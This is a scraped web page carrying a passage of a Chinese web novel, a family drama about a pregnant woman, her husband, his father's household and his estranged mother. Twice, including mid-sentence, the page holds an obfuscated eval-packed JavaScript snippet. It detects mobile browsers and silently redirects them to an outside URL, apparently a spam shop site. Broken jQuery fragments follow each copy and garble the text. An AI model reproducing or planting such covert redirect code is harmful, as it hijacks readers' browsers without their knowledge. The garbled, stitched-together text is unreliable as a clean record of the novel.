;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578420|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给我妈打了个电话,她说你爸妈到处说你不孝顺,还说你上次回去骗了他们钱。”
红玉不在意,她以后都不会回去了,随便他们怎么说。
中午,江向东回来听说江有粮让他们过去吃牛尾,眉头顿时一拧。
红玉就知道他不想去,她也不会劝他,不就是牛尾巴么。
下一刻,却听到江向东道:“等我下工一起去。”
红玉一脸错愕:“你要去?”
江向东垂着眼睑:“不吃白不吃。”
牛尾巴应该挺补的。
红玉不知道江向东所想,她想江向东小时候在江有粮和田慧那儿受过委屈,现在还是能去吃饭,但和潘秀关系却那么冷淡。
难道江向东在潘秀那儿受过更大更难以忘怀的委屈?
或许可以找个机会试探着问一问。
万一有机会化解呢。
江向东和江有粮是两家人,空着手去不太好看。
“前两天何婶送了些东西来,要不我们给爸提两样去。”红玉道。
江向东:“捡你不爱吃的送。”
红玉弯眉:“好。”
才下工,过去路上遇到了不少熟人,见他们提着东西,问他们去哪儿。
红玉道:“去他爸那儿吃饭。”
江向东和江有粮不亲近是众所周知的事,当初江向东和江家奶奶搬回老家时,谁不说江有粮蠢,自己的亲儿子不养养别人的孩子。
江有粮家是砖房,比他们家好很多。
江有粮坐在屋檐下,他才四十几岁,和江向东差不多高,身形比江向东还健壮些,不怪他能把房子建得这么好。
看见他们,他招呼道:“坐。”红玉把东西递过来,他道:“来就是了,拿什么东西。”
红玉温声:“一点心意。”
两斤的鸡蛋糕,不值多少钱,送人很合适。
江有粮很关心红玉,问红玉去医院的检查情况,但到底是公公与儿媳妇的关系,很多话不方便说。
他就问江向东。
江向东面色冷淡,一句话总结:“都挺好。”
林芝出来让红玉进屋,田慧江涛以及田慧后面生的那个儿子江向军在灶房忙。
红玉进屋后,江有粮问:“你妈知道你媳妇怀孕的事不?”
江向东:“不知道她知不知道。”
江有粮:“她是当奶奶的,你找个时候还是跟她说一声。”
江向东不置可否。
番茄牛尾提前炖好了,人多,还弄了个鱼以及几样素菜,十分丰盛。
吃到一半,田慧突然问红玉:“你去医院检查时医生有没有说你怀的是儿子还是女儿?”
红玉一听就知道她想说什么,上午林芝来时已经说过了,他们找熟人看了孩子的性别,林芝怀的是儿子。
果然,她下一句就是:“江涛有个熟人是医生,给林芝看了,说她怀的是儿子。”
江向东看眼江涛,嘴上说着想要女儿,实际还是生儿子。
江有粮出声:“下次检查让江涛和你们一起,送点礼,也让人帮忙看看。”
江向东有点心动,但他不是想走江涛的关系,而是想直接给医生送礼。
“不了,”红玉抬眼,直视着江有粮:“对我来说儿子女儿都好,没必要提前知道。”
15. 015
红玉的语气很温和,可只要对上她的眼睛,就知道她的不容置否。
饭桌上倏地一静。
几息后,田慧笑着道:“是,儿女都好,儿女都好。”
这是自红玉与江向东来这儿后,田慧对他们笑得最真的一次。
她万分不想江向东走江涛的路子去查孩子的性别,一是不想江向东占这个便宜,二是万一红玉也怀的是儿子呢。
江涛是继子,江向东的孩子才是江有粮的亲孙子,她怕江有粮一高兴,悄悄给江向东钱。
江有粮却还道:“还是去看看吧,礼我来出。”
田慧嘴角一僵,想说什么,余光瞥到江有粮,她张了张嘴又什么也没说。
红玉声音淡下来:“不用。”
江有粮皱眉,他放下筷子,看向江向东。
江向东看出红玉生气了,上次两人才为孩子小吵了一架,他不想又吵,毫不犹豫地道:“不用了。”
反正再过两个多月,孩子就要出来了。
江向东的话比红玉的话管用多了,哪怕江有粮明显不赞同,也没再说什么。
饭后,江有粮父子几个坐一起说话,多数时候是江涛说,他比江有粮和江向东都健谈多了。
红玉和林芝在外面。
林芝小声说:“爸让你去看孩子性别不一定是重男轻女。”
都七个月了,就算不是儿子,还能打了不成。
红玉明白,但不可否定他就是更想要孙子,和江向东一样。
自饭桌上的事后,红玉的话就少了。
晚上睡觉时,江向东知道红玉生气了,正琢磨着该说点什么,红玉忽然喊:“江向东!”
江向东嗯了声,心想:来了。
红玉平静道:“我知道你还是想要儿子,你爸也要个孙子,但我话说在前面,若我肚子里是儿子就罢了,若是女儿,你嫌弃,我们就离婚,女儿归我,你大可以找其他人再结婚生子。”
她虽没怀孕十月,也怀孕了五月,还要承受生产之苦,她不可能让她的女儿在被爸爸嫌弃的家庭里长大。
哪怕靠她一人养育孩子不容易。
听到离婚,江向东吓了一跳,坐起来道:“我说了我自己的女儿我不嫌弃。”
红玉:“你若不嫌弃女儿,以后要不要再生孩子取决我想不想再要一个,而不是为了生儿子。”
上次吵架,江向东以为红玉只想生一个,听到这话,他疑惑,既然红玉愿意生第二个孩子,那为何不能要个儿子。
察觉到红玉此刻的严肃,江向东小心翼翼地说:“儿女双全不好吗?”
红玉没气,平静地反问:“你能保证我一定能生出儿子吗?”
江向东嘴唇嗫喏了下,不能保证,他们生产队就有户人家,生了五个女儿,也没能生出儿子。
“看,你也不能保证吧。”红玉还笑了下:“那难道要我一胎接一胎的生吗,你知道生一个孩子对妈妈的身体伤害有多大吗?”
江向东张了下嘴,喉咙艰涩得发不出声音。
“话我说在这儿,以后我不会再说第二次,”红玉翻身,背对着江向东:“睡觉吧。”
但红玉是睡不太着的。
她睁着眼睛,如果真和江向东离婚,她住哪儿,怎么养孩子。
或许可以回原主娘家,跟他们周旋,想法子找个工作留在城里。
哎,早知如此,她离开时还是不应该与他们撕破脸。
过了许久许久,一直坐着不动的江向东忽然躺下来,从红玉背后抱住她,投降般地道:“听你的,都听你的。”
红玉嘴角微微上扬:“不想要儿子了?”
“想,”江向东倒诚实:“但我不能为了要儿子不要女儿和媳妇吧。”
他的手轻轻地搭在红玉的肚子上,话音一落,清晰地感觉到孩子动了一下。
江向东浑身一僵,胎动没有规律,每次红玉说孩子动了,他想摸的时候,孩子像是故意和他作对似的,无论怎么都不动,导致这么久了,这还是他第一次感受到胎动。
这一刻,江向东不在乎他是儿子还是女儿,他只希望他能平平安安地出生,健健康康地长大。
.
第二天早上,难得红玉醒来时,江向东还没起。
平时,早饭都做好了。
他醒是醒了,就一直把手放在她的肚子上。
红玉无语地把他手拿开:“起床做饭,我饿了。”
江向东这才起来,一边穿衣服一边道:“昨晚上降温了,你多穿点。”
不用他说,红玉也感受到了,冷得她直打哆嗦。
她缩在被子里,让江向东给她拿棉袄。
现在她的肚子越来越大,其他衣服都穿不了了,也就宽宽大大的棉袄能将就穿一穿。
江向东给她扣扣子,见衣服洗得发白,领口袖子都是补过的,他皱了下眉,而后道:“你再给自己做一件棉袄吧。”
知道红玉也舍不得钱,他道:“趁没到最冷的时候,我再跟钱大山去转转,说不定还能捉几只鳖。”
“做件你能穿的。”红玉想了想道:“等孩子生出来,肚子小了,我就穿不了太大的衣服。”
江向东道:“可我的衣服都黑不溜秋的。”
“那不是正好耐脏么。”红玉道:“再说了,后面我估计也不怎么出门了。”
肚子大,天又冷,不如在家待着。
万一生个病,挣的公分都不够给医药费。
煮早饭前先烧水,红玉还是占据了最暖和的地方――灶洞前。
江向东也凑过来烤了会火,见红玉离得有点远,还让她坐近点。
红玉拒绝:“太近了脸会很干,不舒服。”
江向东闻言看了眼红玉的脸,白里透红,摸起来软软的,哪里干了。
水烧好灌进热水瓶里,红玉就去洗漱,再扫扫地,拾掇拾掇家里,就该吃早饭了。
江向东的是昨儿中午剩的冷饭煮的汤饭,红玉的是两个荷包蛋。
她不喜欢吃甜的,倒了酱油来调味。
饭后,江向东去上工,红玉在家休息。
江向东走时,见凳子上堆着脏衣服,他叮嘱道:“衣服我中午回来去洗。”
红玉应了,她蹲着洗衣服本来就不方便,又冷,还是听江向东的吧。
上午,太阳出来后,温度有所上升。
红玉没什么事做,去自留地拔拔草。他们吃的菜都指望着这块地,江向东侍弄得很好,之前还担了粪来淋。
菜长得好,草也不遑多让,红玉嫌弯着腰累,带了根矮凳子――坐着拔。
“是红玉吗?”
有树挡着,红玉站起来才看到人,一个穿着长款呢子大衣的中年女人,眉目间和江向东有几分相似。
红玉愣了下,连忙往路上走:“妈,你怎么来了?”
来人正是江向东的妈妈――潘秀。
今儿不是星期一吗,她怎么来了,不上工吗?
“你慢点。”潘秀连忙放下手里提着的东西来扶红玉:“向东呢,他怎么让你来干活?”
红玉:“他上工去了。”
潘秀带的东西多,红玉要帮忙提,潘秀避开:“又不重。”
红玉无奈,只好先去开门,给潘秀泡茶:“茶就是寻常野菊花,胜在水还不错,妈您尝尝!”
潘秀接过来喝了一口留尝出来了:“是山泉水?”
红玉笑着点头。
潘秀面露一丝得意:“我就知道,除了青山生产队的山泉水,我就没在其他地方喝过这么好喝的水。”
原主唯一一次与潘秀见面,两人说话不多,红玉没想到潘秀性格是这样的,没有长辈的高高在上,言谈间还带着几分年轻女儿家的活泼。
可见她这些年一定是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578421|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过得很好。
红玉对她没有怨,她友好亲切,红玉就以礼相待。
“妈,你怎么突然来了?”
“我昨儿个回来看你们姥姥,遇见了桂花,听她说我才知道你怀孕了。”潘秀道:“之前你们贺叔说他碰到你们了,怎么没听他说你怀孕的事。”
红玉解释:“那时才五个半月,肚子不大,衣服遮住了。”
潘秀点点头,问红玉怀得怎么样,有没有哪里不舒服,有没有去检查。
得知红玉有去医院,她赞同道:“就是,得去检查,不要怕花钱,你和孩子平安最重要。”
红玉微笑:“我和向东也是这么想的。”
潘秀又问红玉几时生,红玉道:“大概在一月中旬。”
潘秀担忧道:“正是冷的时候。”
红玉也觉得,如果她以后还要生孩子,一定要选好时间。
得知红玉打算去医院生,潘秀感叹:“要是你们在城里就好了,离医院近,随时都能过去。”
红玉何尝不是这么觉得。
潘秀待了一个小时左右就要走了,红玉留她吃了午饭再走。
“你还没见到向东呢?”
潘秀叹气:“不见了,他不喜欢我来找你们。”
她笑了笑:“再说了,我是来看你和孩子的,又不是来看他的。”
目光温柔极了:“你们好好的,我不见他也没什么。”
红玉闻言,心头酸涩得很。她知道江向东如此抵触潘秀肯定是他心中有事过不去,可红玉也马上要当妈妈了,她更能体会潘秀的拳拳爱子之心。
潘秀带来的东西自然是送给红玉他们的,红玉有些迟疑,担心江向东回来知道了会不高兴。
“这些都是给你和孩子的,也不贵重。”她犹豫了下,问道:“生孩子花用多,你们缺不缺钱?”
不等红玉回答,她就从包里摸出一个信封塞红玉手里。
红玉哪里能收,东西就罢了,要是收了钱,江向东必定不高兴?
潘秀见红玉实在不收,只好拿了回去。
红玉送她一段路,回来时何云带着小雨来了。
与何婶不同,何云是个很温和的女人,她拿出一张手帕:“小雨说这是你给她的?”
手帕上绣着一只小猫,是红玉用做衣服剩的料子给自己做的手帕,绣的小猫也很简单。
那日,小雨坚持要等江向东回来,看见手帕很喜欢,红玉便送了她一条。
何云先是松了口气,而后道:“这个太贵了,小雨不能收。”
红玉心下一动:“这个贵?”
“你不知道么,”何云指着小猫:“这是你绣上去的吧,绣品卖得很贵的。”
红玉忙问哪里能卖,如果能卖绣品,她就能挣钱了。
但何云也不知道,她只是跟婆家进城走过家亲戚,那家有人刺绣,听他们说绣品卖得很贵。
红玉也不失望,只要能卖,她总能找到地方。
得了这么个好消息,红玉很感激,加之何婶平日里对她颇为照顾,见何云脸上掩饰不住的愁绪,她免不得关心两句。
“我就是不明白小雨他爸为什么不能护着我们?”何云问:“红玉,你读书多,你说我该怎么办?”
红玉心说该离了,但以何云的性格她是不敢的。
“你得自己立起来,不要想着指望他。”
“可他是我男人!”
江向东今天下工早,第一道广播结束时他坐到自家屋檐下,正要刮掉鞋子上的黄泥,就听到了红玉的声音。
“是你男人,但对于这些男人来说,他们个人的利益,尊严,甚至是他们的父母手足,都比自己的妻儿来得重要。”
说者无心,但江向东听者有意。
红玉这样说,是不是认为他为了尊严,宁愿让他们母子二人在乡下受苦,也不愿意找他妈妈和继父帮忙?